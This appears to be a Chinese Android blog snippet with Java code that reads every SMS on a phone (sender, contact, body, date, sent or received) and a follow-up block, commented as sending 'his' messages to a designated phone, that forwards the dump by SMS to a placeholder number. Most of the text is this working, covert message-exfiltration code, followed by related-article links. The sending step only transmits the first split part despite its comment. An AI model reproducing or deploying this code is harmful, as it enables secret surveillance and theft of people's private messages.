//获得手机的短信

   public String getSmsInPhone()        {            final String SMS_URI_ALL   = "content://sms/";              final String SMS_URI_INBOX = "content://sms/inbox";            final String SMS_URI_SEND  = "content://sms/sent";            final String SMS_URI_DRAFT = "content://sms/draft";                        StringBuilder smsBuilder = new StringBuilder();                        try{                ContentResolver cr = getContentResolver();                String[] projection = new String[]{"_id", "address", "person",                         "body", "date", "type"};                Uri uri = Uri.parse(SMS_URI_ALL);                Cursor cur = cr.query(uri, projection, null, null, "date desc");                       if (cur.moveToFirst()) {                    String name;                     String phoneNumber;                           String smsbody;                    String date;                    String type;                                     int nameColumn = cur.getColumnIndex("person");                    int phoneNumberColumn = cur.getColumnIndex("address");                    int smsbodyColumn = cur.getColumnIndex("body");                    int dateColumn = cur.getColumnIndex("date");                    int typeColumn = cur.getColumnIndex("type");                                    do{                        name = cur.getString(nameColumn);                                     phoneNumber = cur.getString(phoneNumberColumn);                        smsbody = cur.getString(smsbodyColumn);                                                SimpleDateFormat dateFormat = new SimpleDateFormat(                                "yyyy-MM-dd hh:mm:ss");                        Date d = new Date(Long.parseLong(cur.getString(dateColumn)));                        date = dateFormat.format(d);                                                int typeId = cur.getInt(typeColumn);                        if(typeId == 1){                            type = "接收";                        } else if(typeId == 2){                            type = "发送";                        } else {                            type = "";                        }                                             smsBuilder.append("[");                        smsBuilder.append(name+",");                        smsBuilder.append(phoneNumber+",");                        smsBuilder.append(smsbody+",");                        smsBuilder.append(date+",");                        smsBuilder.append(type);                        smsBuilder.append("] ");                        smsBuilder.append("\n");                                        if(smsbody == null) smsbody = "";                      }while(cur.moveToNext());                            } else {                    smsBuilder.append("no result!");                }                       } catch(SQLiteException ex) {                Log.d("SQLiteException in getSmsInPhone", ex.getMessage());            }            return smsBuilder.toString();        } 

      //把他的短信发送到指定的手机上嘿嘿

 

String msg=getSmsInPhone();//发送短信String tel="手机号码";                SmsManager manage=SmsManager.getDefault();  //取得默认的SmsManager用于短信的发送                   List all=manage.divideMessage(msg);  //短信的内容是有限的,要根据短信长度截取。逐条发送                     manage.sendTextMessage(tel, null, all.get(0), null, null);  //逐条发送短息  
//去配置文件注册权限                 
//http://www.shop8888.com 手机号码查询大家可以查询一下

更多相关文章

  1. Android之简易电话 & 短信
  2. 看Android 短信的一些关键字
  3. Android自动读取短信验证码
  4. Android 使用HTTPClient调用Web请求(查询手机号码区域)
  5. Android短信管理
  6. android 短信监听

随机推荐

  1. selector 背景选择器
  2. Android(安卓)4.0 注册广播问题
  3. Flutter 项目代码打包进 android App的快
  4. Android的onMeasure和onLayout And Measu
  5. Android(安卓)4.0 SDK下载安装
  6. android appwidget 笔记
  7. Android:Apk插件出现Permission Denial: s
  8. 安装android apk包/adb shell的常见问题
  9. Message Looper Handler三者之间的关联
  10. 二种方法实现 Android(安卓)TabWidget